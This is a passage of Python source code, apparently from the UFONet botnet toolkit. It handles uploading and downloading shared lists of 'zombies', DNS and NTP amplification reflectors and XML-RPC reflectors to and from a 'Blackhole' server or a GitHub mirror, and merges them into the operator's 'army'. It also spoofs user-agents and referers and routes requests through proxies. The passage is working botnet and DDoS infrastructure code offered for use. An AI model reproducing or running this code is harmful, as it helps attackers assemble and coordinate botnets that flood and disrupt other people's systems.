  1919. cs.connect(host, cport)
  1920. cs.send("SEND " + 'community_ntps.txt.gz')
  1921. cs.close()
  1922. f = open('botnet/community_ntps.txt.gz', "rb")
  1923. data = f.read()
  1924. f.close()
  1925. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1926. ms.connect(host, mport)
  1927. ms.send(data)
  1928. ms.close()
  1929. os.remove('botnet/community_ntps.txt.gz') # remove local ntps .gz file after transfer
  1930. time.sleep(1)
  1931. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  1932. cs.connect(host, cport)
  1933. cs.send("SEND " + 'community_dnss.txt.gz')
  1934. cs.close()
  1935. f = open('botnet/community_dnss.txt.gz', "rb")
  1936. data = f.read()
  1937. f.close()
  1938. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1939. ms.connect(host, mport)
  1940. ms.send(data)
  1941. ms.close()
  1942. os.remove('botnet/community_dnss.txt.gz') # remove local dnss .gz file after transfer
  1943. time.sleep(2) # sleep a bit more
  1944. print('-'*12 + '\n')
  1945. print("[Info] [AI] Transfer -> [DONE!]\n")
  1946. except Exception as e:
  1947. print(str(e) + "\n")
  1948. except:
  1949. print('-'*12 + '\n')
  1950. print("[Error] [AI] Connecting sockets to [Blackhole] -> [Aborting!]\n")
  1951. return
  1952. except:
  1953. print('-'*12 + '\n')
  1954. print("[Error] [AI] Unable to upload list of [Zombies] to this [Blackhole] -> [Exiting!]\n")
  1955. return
  1956. def update_gui_data(self):
  1957. # download all GUI stream data
  1958. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  1959. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  1960. if self.options.proxy: # set proxy
  1961. self.proxy_transport(self.options.proxy)
  1962. if self.options.timeout: # set timeout
  1963. try:
  1964. timeout = int(self.options.timeout)
  1965. except:
  1966. timeout = 5
  1967. else:
  1968. timeout = 5
  1969. if timeout < 1:
  1970. timeout = 5
  1971. if self.options.forcessl:
  1972. news = urllib.request.Request('https://'+self.blackhole+'/ufonet/news.txt', None, headers)
  1973. news_reply = urllib.request.urlopen(news, context=self.ctx, timeout=timeout).read().decode('utf-8')
  1974. missions = urllib.request.Request('https://'+self.blackhole+'/ufonet/missions.txt', None, headers)
  1975. missions_reply = urllib.request.urlopen(missions, context=self.ctx, timeout=timeout).read().decode('utf-8')
  1976. board = urllib.request.Request('https://'+self.blackhole+'/ufonet/board.txt', None, headers)
  1977. board_reply = urllib.request.urlopen(board, context=self.ctx, timeout=timeout).read().decode('utf-8')
  1978. grid = urllib.request.Request('https://'+self.blackhole+'/ufonet/grid.txt', None, headers)
  1979. grid_reply = urllib.request.urlopen(grid, context=self.ctx, timeout=timeout).read().decode('utf-8')
  1980. wargames = urllib.request.Request('https://'+self.blackhole+'/ufonet/wargames.txt', None, headers)
  1981. wargames_reply = urllib.request.urlopen(wargames, context=self.ctx, timeout=timeout).read().decode('utf-8')
  1982. else:
  1983. news = urllib.request.Request('http://'+self.blackhole+'/ufonet/news.txt', None, headers)
  1984. news_reply = urllib.request.urlopen(news, context=self.ctx).read().decode('utf-8')
  1985. missions = urllib.request.Request('http://'+self.blackhole+'/ufonet/missions.txt', None, headers)
  1986. missions_reply = urllib.request.urlopen(missions, context=self.ctx).read().decode('utf-8')
  1987. board = urllib.request.Request('http://'+self.blackhole+'/ufonet/board.txt', None, headers)
  1988. board_reply = urllib.request.urlopen(board, context=self.ctx).read().decode('utf-8')
  1989. grid = urllib.request.Request('http://'+self.blackhole+'/ufonet/grid.txt', None, headers)
  1990. grid_reply = urllib.request.urlopen(grid, context=self.ctx).read().decode('utf-8')
  1991. wargames = urllib.request.Request('http://'+self.blackhole+'/ufonet/wargames.txt', None, headers)
  1992. wargames_reply = urllib.request.urlopen(wargames, context=self.ctx).read().decode('utf-8')
  1993. f = open(self.news_file, 'w')
  1994. f.write(news_reply)
  1995. f.close()
  1996. f = open(self.missions_file, 'w')
  1997. f.write(missions_reply)
  1998. f.close()
  1999. f = open(self.board_file, 'w')
  2000. f.write(board_reply)
  2001. f.close()
  2002. f = open(self.grid_file, 'w')
  2003. f.write(grid_reply)
  2004. f.close()
  2005. f = open(self.wargames_file, 'w')
  2006. f.write(wargames_reply)
  2007. f.close()
  2008. print('-'*25 + "\n")
  2009. print("[Info] [AI] GUI data correctly updated:\n")
  2010. if news_reply:
  2011. print("[Info] [AI] [News] : OK!")
  2012. if missions_reply:
  2013. print("[Info] [AI] [Missions]: OK!")
  2014. if board_reply:
  2015. print("[Info] [AI] [Board] : OK!")
  2016. if grid_reply:
  2017. print("[Info] [AI] [Grid] : OK!")
  2018. if wargames_reply:
  2019. print("[Info] [AI] [Wargames]: OK!")
  2020. print('-'*25)
  2021. print("\n[AI] "+self.exit_msg+"\n")
  2022. def downloading_list(self):
  2023. # add your mirror to protect/share/distribute... [Zombies]
  2024. try:
  2025. print(("[AI] Trying [Blackhole] [Server]: "+self.blackhole+"\n"))
  2026. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2027. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2028. if self.options.timeout: # set timeout
  2029. try:
  2030. timeout = int(self.options.timeout)
  2031. except:
  2032. timeout = 5
  2033. else:
  2034. timeout = 5
  2035. if timeout < 1:
  2036. timeout = 5
  2037. if self.options.proxy: # set proxy
  2038. self.proxy_transport(self.options.proxy)
  2039. if self.options.forcessl:
  2040. try:
  2041. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  2042. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2043. except:
  2044. abductions_reply = ""
  2045. try:
  2046. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  2047. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2048. except:
  2049. troops_reply = ""
  2050. try:
  2051. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  2052. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2053. except:
  2054. robots_reply = ""
  2055. try:
  2056. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  2057. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2058. except:
  2059. drones_reply = ""
  2060. try:
  2061. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  2062. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2063. except:
  2064. reflectors_reply = ""
  2065. try:
  2066. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  2067. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2068. except:
  2069. crystals_reply = ""
  2070. try:
  2071. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  2072. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2073. except:
  2074. warps_reply = ""
  2075. else:
  2076. try:
  2077. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  2078. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2079. except:
  2080. abductions_reply = ""
  2081. try:
  2082. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  2083. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2084. except:
  2085. troops_reply = ""
  2086. try:
  2087. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  2088. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2089. except:
  2090. robots_reply = ""
  2091. try:
  2092. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  2093. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2094. except:
  2095. drones_reply = ""
  2096. try:
  2097. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  2098. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2099. except:
  2100. reflectors_reply = ""
  2101. try:
  2102. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  2103. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2104. except:
  2105. crystals_reply = ""
  2106. try:
  2107. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  2108. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2109. except:
  2110. warps_reply = ""
  2111. if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "":
  2112. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
  2113. print('-'*12 + '\n')
  2114. print("[Info] [AI] You can try to download [Zombies] from a different [Blackhole] [Server] (provided by someone!) with:\n\n ex: ufonet --down-from '<IP>'")
  2115. print("\nOr/And from a [Blackhole] [GitHub] with:\n\n ex: ufonet --download-github")
  2116. print('-'*12 + '\n')
  2117. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [Server] -> [Exiting!]\n")
  2118. return
  2119. f = open('botnet/abductions.txt.gz', 'wb')
  2120. f.write(abductions_reply)
  2121. f.close()
  2122. f = open('botnet/troops.txt.gz', 'wb')
  2123. f.write(troops_reply)
  2124. f.close()
  2125. f = open('botnet/robots.txt.gz', 'wb')
  2126. f.write(robots_reply)
  2127. f.close()
  2128. f = open('botnet/drones.txt.gz', 'wb')
  2129. f.write(drones_reply)
  2130. f.close()
  2131. f = open('botnet/reflectors.txt.gz', 'wb')
  2132. f.write(reflectors_reply)
  2133. f.close()
  2134. f = open('botnet/crystals.txt.gz', 'wb')
  2135. f.write(crystals_reply)
  2136. f.close()
  2137. f = open('botnet/warps.txt.gz', 'wb')
  2138. f.write(warps_reply)
  2139. f.close()
  2140. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX READY!] ;-)")
  2141. except:
  2142. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
  2143. print('-'*12 + '\n')
  2144. print("[Info] [AI] You can try to download [Zombies] from a different [Blackhole] [Server] (provided by someone!) with:\n\n ex: ufonet --down-from '<IP>'")
  2145. print("\nOr/And from a [Blackhole] [GitHub] with:\n\n ex: ufonet --download-github")
  2146. print('-'*12 + '\n')
  2147. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [Server] -> [Exiting!]\n")
  2148. return
  2149. print('-'*12 + '\n')
  2150. f_in_abductions = gzip.open('botnet/abductions.txt.gz', 'rb')
  2151. f_out_abductions = open('botnet/abductions.txt', 'wb')
  2152. f_out_abductions.write(f_in_abductions.read())
  2153. f_in_abductions.close()
  2154. f_out_abductions.close()
  2155. os.remove('botnet/abductions.txt.gz') # remove abductions .gz file
  2156. f_in_troops = gzip.open('botnet/troops.txt.gz', 'rb')
  2157. f_out_troops = open('botnet/troops.txt', 'wb')
  2158. f_out_troops.write(f_in_troops.read())
  2159. f_in_troops.close()
  2160. f_out_troops.close()
  2161. os.remove('botnet/troops.txt.gz') # remove troops .gz file
  2162. f_in_robots = gzip.open('botnet/robots.txt.gz', 'rb')
  2163. f_out_robots = open('botnet/robots.txt', 'wb')
  2164. f_out_robots.write(f_in_robots.read())
  2165. f_in_robots.close()
  2166. f_out_robots.close()
  2167. os.remove('botnet/robots.txt.gz') # remove robots .gz file
  2168. f_in_drones = gzip.open('botnet/drones.txt.gz', 'rb')
  2169. f_out_drones = open('botnet/drones.txt', 'wb')
  2170. f_out_drones.write(f_in_drones.read())
  2171. f_in_drones.close()
  2172. f_out_drones.close()
  2173. os.remove('botnet/drones.txt.gz') # remove drones .gz file
  2174. f_in_reflectors = gzip.open('botnet/reflectors.txt.gz', 'rb')
  2175. f_out_reflectors = open('botnet/reflectors.txt', 'wb')
  2176. f_out_reflectors.write(f_in_reflectors.read())
  2177. f_in_reflectors.close()
  2178. f_out_reflectors.close()
  2179. os.remove('botnet/reflectors.txt.gz') # remove reflectors .gz file
  2180. f_in_crystals = gzip.open('botnet/crystals.txt.gz', 'rb')
  2181. f_out_crystals = open('botnet/crystals.txt', 'wb')
  2182. f_out_crystals.write(f_in_crystals.read())
  2183. f_in_crystals.close()
  2184. f_out_crystals.close()
  2185. os.remove('botnet/crystals.txt.gz') # remove crystals .gz file
  2186. f_in_warps = gzip.open('botnet/warps.txt.gz', 'rb')
  2187. f_out_warps = open('botnet/warps.txt', 'wb')
  2188. f_out_warps.write(f_in_warps.read())
  2189. f_in_warps.close()
  2190. f_out_warps.close()
  2191. os.remove('botnet/warps.txt.gz') # remove warps .gz file
  2192. num_abductions = 0
  2193. with open('botnet/abductions.txt') as f:
  2194. for _ in f:
  2195. num_abductions = num_abductions + 1
  2196. print("[Info] Zombies: " + str(num_abductions))
  2197. num_robots = 0
  2198. with open('botnet/robots.txt') as f:
  2199. for _ in f:
  2200. num_robots = num_robots + 1
  2201. print("[Info] Droids : " + str(num_robots))
  2202. num_troops = 0
  2203. with open('botnet/troops.txt') as f:
  2204. for _ in f:
  2205. num_troops = num_troops + 1
  2206. print("[Info] Aliens : " + str(num_troops))
  2207. num_drones = 0
  2208. with open('botnet/drones.txt') as f:
  2209. for _ in f:
  2210. num_drones = num_drones + 1
  2211. print("[Info] UCAVs : " + str(num_drones))
  2212. num_reflectors = 0
  2213. with open('botnet/reflectors.txt') as f:
  2214. for _ in f:
  2215. num_reflectors = num_reflectors + 1
  2216. print("[Info] X-RPCs : " + str(num_reflectors))
  2217. num_crystals = 0
  2218. with open('botnet/crystals.txt') as f:
  2219. for _ in f:
  2220. num_crystals = num_crystals + 1
  2221. print("[Info] DNSs : " + str(num_crystals))
  2222. num_warps = 0
  2223. with open('botnet/warps.txt') as f:
  2224. for _ in f:
  2225. num_warps = num_warps + 1
  2226. print("[Info] NTPs : " + str(num_warps))
  2227. total_zombies = num_abductions + num_troops + num_crystals + num_robots + num_drones + num_reflectors + num_warps
  2228. print("\n[Info] [AI] Congratulations!. Total downloaded: " + str(total_zombies))
  2229. print('-'*12)
  2230. if not self.options.forceyes:
  2231. update_reply = input("\n[AI] Do you want to merge ONLY the new 'troops' into your army? (Y/n)")
  2232. print('-'*25)
  2233. else:
  2234. update_reply = "Y"
  2235. if update_reply == "n" or update_reply == "N":
  2236. os.remove('botnet/abductions.txt') # remove abductions file
  2237. os.remove('botnet/troops.txt') # remove troops file
  2238. os.remove('botnet/robots.txt') # remove robots file
  2239. os.remove('botnet/drones.txt') # remove drones file
  2240. os.remove('botnet/reflectors.txt') # remove reflectors file
  2241. os.remove('botnet/crystals.txt') # remove crystals file
  2242. os.remove('botnet/warps.txt') # remove warps file
  2243. print("\n[Info] [AI] [Control] Temporal list downloaded has been removed! -> [Exiting!]")
  2244. print('-'*25)
  2245. print("\n[AI] "+self.exit_msg+"\n")
  2246. else:
  2247. zombies_ready = []
  2248. f = open('botnet/abductions.txt')
  2249. abductions = f.readlines()
  2250. f.close()
  2251. fz = open(self.zombies_file)
  2252. zombies = fz.readlines()
  2253. fz.close()
  2254. for abduction in abductions:
  2255. abduction = abduction.replace('\n','')
  2256. if abduction not in zombies:
  2257. zombies_ready.append(abduction)
  2258. else:
  2259. pass
  2260. self.update_zombies(zombies_ready)
  2261. os.remove('botnet/abductions.txt') # remove abductions .txt file
  2262. aliens_ready = []
  2263. f = open('botnet/troops.txt')
  2264. troops = f.readlines()
  2265. f.close()
  2266. fz = open(self.aliens_file)
  2267. aliens = fz.readlines()
  2268. fz.close()
  2269. for alien in troops:
  2270. alien = alien.replace('\n','')
  2271. if alien not in aliens:
  2272. aliens_ready.append(alien)
  2273. else:
  2274. pass
  2275. self.update_aliens(aliens_ready)
  2276. os.remove('botnet/troops.txt') # remove troops .txt file
  2277. droids_ready = []
  2278. f = open('botnet/robots.txt')
  2279. robots = f.readlines()
  2280. f.close()
  2281. fz = open(self.droids_file)
  2282. droids = fz.readlines()
  2283. fz.close()
  2284. for droid in robots:
  2285. droid = droid.replace('\n','')
  2286. if droid not in droids:
  2287. droids_ready.append(droid)
  2288. else:
  2289. pass
  2290. self.update_droids(droids_ready)
  2291. os.remove('botnet/robots.txt') # remove robots .txt file
  2292. ucavs_ready = []
  2293. f = open('botnet/drones.txt')
  2294. drones = f.readlines()
  2295. f.close()
  2296. fz = open(self.ucavs_file)
  2297. ucavs = fz.readlines()
  2298. fz.close()
  2299. for drone in drones:
  2300. drone = drone.replace('\n','')
  2301. if drone not in ucavs:
  2302. ucavs_ready.append(drone)
  2303. else:
  2304. pass
  2305. self.update_ucavs(ucavs_ready)
  2306. os.remove('botnet/drones.txt') # remove drones .txt file
  2307. rpcs_ready = []
  2308. f = open('botnet/reflectors.txt')
  2309. reflectors = f.readlines()
  2310. f.close()
  2311. fz = open(self.rpcs_file)
  2312. rpcs = fz.readlines()
  2313. fz.close()
  2314. for reflector in reflectors:
  2315. reflector = reflector.replace('\n','')
  2316. if reflector not in rpcs:
  2317. rpcs_ready.append(reflector)
  2318. else:
  2319. pass
  2320. self.update_rpcs(rpcs_ready)
  2321. os.remove('botnet/reflectors.txt') # remove reflectors .txt file
  2322. dnss_ready = []
  2323. f = open('botnet/crystals.txt')
  2324. crystals = f.readlines()
  2325. f.close()
  2326. fz = open(self.dnss_file)
  2327. dnss = fz.readlines()
  2328. fz.close()
  2329. for crystal in crystals:
  2330. crystal = crystal.replace('\n','')
  2331. if crystal not in dnss:
  2332. dnss_ready.append(crystal)
  2333. else:
  2334. pass
  2335. self.update_dnss(dnss_ready)
  2336. os.remove('botnet/crystals.txt') # remove crystals .txt file
  2337. ntps_ready = []
  2338. f = open('botnet/warps.txt')
  2339. warps = f.readlines()
  2340. f.close()
  2341. fz = open(self.ntps_file)
  2342. ntps = fz.readlines()
  2343. fz.close()
  2344. for warp in warps:
  2345. warp = warp.replace('\n','')
  2346. if warp not in ntps:
  2347. ntps_ready.append(warp)
  2348. else:
  2349. pass
  2350. self.update_ntps(ntps_ready)
  2351. os.remove('botnet/warps.txt') # remove warps .txt file
  2352. print("\n[Info] [AI] Botnet updated! -> ;-)")
  2353. self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
  2354. if not self.options.forceyes: # ask for update everything
  2355. print('-'*25 + "\n")
  2356. update_reply = input("[AI] You would also like to update other content: [News] [Grid] [Board]... (Y/n)")
  2357. else:
  2358. update_reply = "Y"
  2359. if update_reply == "n" or update_reply == "N":
  2360. print("\n[AI] "+self.exit_msg+"\n")
  2361. return
  2362. else:
  2363. try:
  2364. update_gui = self.update_gui_data() # update GUI data
  2365. except:
  2366. print('-'*25 +"\n")
  2367. print("[Error] [AI] Something wrong downloading GUI content! -> [Aborting!]")
  2368. print('-'*25)
  2369. print("\n[AI] "+self.exit_msg+"\n")
  2370. return
  2371. def downloading_github_list(self):
  2372. # add your mirror to protect/share/distribute... [Zombies]
  2373. try:
  2374. print(("[AI] Trying [Blackhole] [GitHub]: "+self.github_zombies+"\n"))
  2375. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2376. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2377. if self.options.timeout: # set timeout
  2378. try:
  2379. timeout = int(self.options.timeout)
  2380. except:
  2381. timeout = 5
  2382. else:
  2383. timeout = 5
  2384. if timeout < 1:
  2385. timeout = 5
  2386. if self.options.proxy: # set proxy
  2387. self.proxy_transport(self.options.proxy)
  2388. try:
  2389. req = urllib.request.Request(self.github_zombies+'zombies.txt', None, headers)
  2390. zombies_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2391. except:
  2392. zombies_reply = ""
  2393. try:
  2394. req = urllib.request.Request(self.github_zombies+'aliens.txt', None, headers)
  2395. aliens_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2396. except:
  2397. aliens_reply = ""
  2398. try:
  2399. req = urllib.request.Request(self.github_zombies+'dns.txt', None, headers)
  2400. dns_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2401. except:
  2402. dns_reply = ""
  2403. try:
  2404. req = urllib.request.Request(self.github_zombies+'droids.txt', None, headers)
  2405. droids_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2406. except:
  2407. droids_reply = ""
  2408. try:
  2409. req = urllib.request.Request(self.github_zombies+'rpcs.txt', None, headers)
  2410. rpcs_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2411. except:
  2412. rpcs_reply = ""
  2413. try:
  2414. req = urllib.request.Request(self.github_zombies+'ucavs.txt', None, headers)
  2415. ucavs_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2416. except:
  2417. ucavs_reply = ""
  2418. try:
  2419. req = urllib.request.Request(self.github_zombies+'ntp.txt', None, headers)
  2420. ntp_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2421. except:
  2422. ntp_reply = ""
  2423. if zombies_reply == "" and aliens_reply == "" and dns_reply == "" and droids_reply == "" and rpcs_reply == "" and ucavs_reply == "" and ntp_reply == "":
  2424. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX FAILED!]")
  2425. print('-'*12 + '\n')
  2426. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [GitHub] -> [Exiting!]\n")
  2427. return
  2428. f = open('botnet/abductions.txt', 'w') # zombies
  2429. f.write(zombies_reply)
  2430. f.close()
  2431. f = open('botnet/troops.txt', 'w') # aliens
  2432. f.write(aliens_reply)
  2433. f.close()
  2434. f = open('botnet/crystals.txt', 'w') # dns
  2435. f.write(dns_reply)
  2436. f.close()
  2437. f = open('botnet/robots.txt', 'w') # droids
  2438. f.write(droids_reply)
  2439. f.close()
  2440. f = open('botnet/drones.txt', 'w') # ucavs
  2441. f.write(ucavs_reply)
  2442. f.close()
  2443. f = open('botnet/reflectors.txt', 'w') # rpcs
  2444. f.write(rpcs_reply)
  2445. f.close()
  2446. f = open('botnet/warps.txt', 'w') # ntp
  2447. f.write(ntp_reply)
  2448. f.close()
  2449. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX READY!] ;-)")
  2450. except:
  2451. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX FAILED!]")
  2452. print('-'*12 + '\n')
  2453. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [GitHub] -> [Exiting!]\n")
  2454. return
  2455. print('-'*12 + '\n')
  2456. num_abductions = 0
  2457. with open('botnet/abductions.txt') as f: # zombies
  2458. for _ in f:
  2459. num_abductions = num_abductions + 1
  2460. print("[Info] Zombies: " + str(num_abductions))
  2461. num_troops = 0
  2462. with open('botnet/troops.txt') as f: # aliens
  2463. for _ in f:
  2464. num_troops = num_troops + 1
  2465. print("[Info] Aliens : " + str(num_troops))
  2466. num_robots = 0
  2467. with open('botnet/robots.txt') as f: # droids
  2468. for _ in f:
  2469. num_robots = num_robots + 1
  2470. print("[Info] Droids : " + str(num_robots))
  2471. num_drones = 0
  2472. with open('botnet/drones.txt') as f: # ucavs
  2473. for _ in f:
  2474. num_drones = num_drones + 1
  2475. print("[Info] UCAVs : " + str(num_drones))
  2476. num_reflectors = 0
  2477. with open('botnet/reflectors.txt') as f: # rpcs
  2478. for _ in f:
  2479. num_reflectors = num_reflectors + 1
  2480. print("[Info] X-RPCs : " + str(num_reflectors))
  2481. num_crystals = 0
  2482. with open('botnet/crystals.txt') as f: # dns
  2483. for _ in f:
  2484. num_crystals = num_crystals + 1
  2485. print("[Info] DNSs : " + str(num_crystals))
  2486. num_warps = 0
  2487. with open('botnet/warps.txt') as f: # ntp
  2488. for _ in f:
  2489. num_warps = num_warps + 1
  2490. print("[Info] NTPs : " + str(num_warps))
  2491. total_zombies = num_abductions + num_troops + num_crystals + num_robots + num_drones + num_reflectors + num_warps
  2492. print("\n[Info] [AI] Congratulations!. Total downloaded: " + str(total_zombies))
  2493. print('-'*12)
  2494. if not self.options.forceyes:
  2495. update_reply = input("\n[AI] Do you want to merge ONLY the new 'troops' into your army? (Y/n)")
  2496. print('-'*25)
  2497. else:
  2498. update_reply = "Y"
  2499. if update_reply == "n" or update_reply == "N":
  2500. os.remove('botnet/abductions.txt') # remove zombies/abductions file
  2501. os.remove('botnet/troops.txt') # remove aliens/troops file
  2502. os.remove('botnet/crystals.txt') # remove dns/crystals file
  2503. os.remove('botnet/robots.txt') # remove droids/robots file
  2504. os.remove('botnet/drones.txt') # remove ucavs/drones file
  2505. os.remove('botnet/reflectors.txt') # remove rpcs/reflectors file
  2506. os.remove('botnet/warps.txt') # remove ntp/warps file
  2507. print("\n[Info] [AI] [Control] Temporal list downloaded has been removed! -> [Exiting!]")
  2508. print('-'*25)
  2509. print("\n[AI] "+self.exit_msg+"\n")
  2510. else:
  2511. zombies_ready = []
  2512. f = open('botnet/abductions.txt')
  2513. abductions = f.readlines()
  2514. f.close()
  2515. fz = open(self.zombies_file)
  2516. zombies = fz.readlines()
  2517. fz.close()
  2518. for abduction in abductions:
  2519. abduction = abduction.replace('\n','')
  2520. if abduction not in zombies:
  2521. zombies_ready.append(abduction)
  2522. else:
  2523. pass
  2524. self.update_zombies(zombies_ready)
  2525. os.remove('botnet/abductions.txt') # remove zombies/abductions file
  2526. aliens_ready = []
  2527. f = open('botnet/troops.txt')
  2528. troops = f.readlines()
  2529. f.close()
  2530. fz = open(self.aliens_file)
  2531. aliens = fz.readlines()
  2532. fz.close()
  2533. for alien in troops:
  2534. alien = alien.replace('\n','')
  2535. if alien not in aliens:
  2536. aliens_ready.append(alien)
  2537. else:
  2538. pass
  2539. self.update_aliens(aliens_ready)
  2540. os.remove('botnet/troops.txt') # remove aliens/troops file
  2541. dnss_ready = []
  2542. f = open('botnet/crystals.txt')
  2543. crystals = f.readlines()
  2544. f.close()
  2545. fz = open(self.dnss_file)
  2546. dnss = fz.readlines()
  2547. fz.close()
  2548. for crystal in crystals:
  2549. crystal = crystal.replace('\n','')
  2550. if crystal not in dnss:
  2551. dnss_ready.append(crystal)
  2552. else:
  2553. pass
  2554. self.update_dnss(dnss_ready)
  2555. os.remove('botnet/crystals.txt') # remove dns/crystals file
  2556. droids_ready = []
  2557. f = open('botnet/robots.txt')
  2558. robots = f.readlines()
  2559. f.close()
  2560. fz = open(self.droids_file)
  2561. droids = fz.readlines()
  2562. fz.close()
  2563. for droid in robots:
  2564. droid = droid.replace('\n','')
  2565. if droid not in droids:
  2566. droids_ready.append(droid)
  2567. else:
  2568. pass
  2569. self.update_droids(droids_ready)
  2570. os.remove('botnet/robots.txt') # remove droids/robots file
  2571. ucavs_ready = []
  2572. f = open('botnet/drones.txt')
  2573. drones = f.readlines()
  2574. f.close()
  2575. fz = open(self.ucavs_file)
  2576. ucavs = fz.readlines()
  2577. fz.close()
  2578. for drone in drones:
  2579. drone = drone.replace('\n','')
  2580. if drone not in ucavs:
  2581. ucavs_ready.append(drone)
  2582. else:
  2583. pass
  2584. self.update_ucavs(ucavs_ready)
  2585. os.remove('botnet/drones.txt') # remove UCAVs/drones file
  2586. rpcs_ready = []
  2587. f = open('botnet/reflectors.txt')
  2588. reflectors = f.readlines()
  2589. f.close()
  2590. fz = open(self.rpcs_file)
  2591. rpcs = fz.readlines()
  2592. fz.close()
  2593. for reflector in reflectors:
  2594. reflector = reflector.replace('\n','')
  2595. if reflector not in rpcs:
  2596. rpcs_ready.append(reflector)
  2597. else:
  2598. pass
  2599. self.update_rpcs(rpcs_ready)
  2600. os.remove('botnet/reflectors.txt') # remove RPCs/reflectors file
  2601. ntps_ready = []
  2602. f = open('botnet/warps.txt')
  2603. warps = f.readlines()
  2604. f.close()
  2605. fz = open(self.ntps_file)
  2606. ntps = fz.readlines()
  2607. fz.close()
  2608. for warp in warps:
  2609. warp = warp.replace('\n','')
  2610. if warp not in ntps:
  2611. ntps_ready.append(warp)
  2612. else:
  2613. pass
  2614. self.update_ntps(ntps_ready)
  2615. os.remove('botnet/warps.txt') # remove NTP/warps file
  2616. print("\n[Info] [AI] Botnet updated! -> ;-)")
  2617. self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
  2618. if not self.options.forceyes: # ask for update everything
  2619. print('-'*25 + "\n")
  2620. update_reply = input("[AI] You would also like to update other content: [News] [Grid] [Board]... (Y/n)")
  2621. else:
  2622. update_reply = "Y"
  2623. if update_reply == "n" or update_reply == "N":
  2624. print("\n[AI] "+self.exit_msg+"\n")
  2625. return
  2626. else:
  2627. try:
  2628. update_gui = self.update_gui_data() # update GUI data
  2629. except:
  2630. print('-'*25 +"\n")
  2631. print("[Error] [AI] Something wrong downloading GUI content! -> [Aborting!]")
  2632. print('-'*25)
  2633. print("\n[AI] "+self.exit_msg+"\n")
  2634. return
  2635. def uploading_github_list(self):
  2636. print(" 0. Set a different URL (if required) for code repository sources:\n\n [current: "+self.github_zombies+"]\n")
  2637. print(" 1. Test your 'zombies' to upload only those that really work (ex: ufonet --test-all).")
  2638. print(" 2. Make a -PULL REQUEST- to the owner of the code repository.")
  2639. print(" 3. Share your updates in the #UFONet 'motherships'...\n")
  2640. print('='*22 + '\n')
  2641. print("[AI] "+self.exit_msg+"\n")
  2642. def create_web_interface(self):
  2643. # launch webserver+gui
  2644. from .webgui import ClientThread
  2645. import webbrowser
  2646. host = '0.0.0.0'
  2647. port = 9999
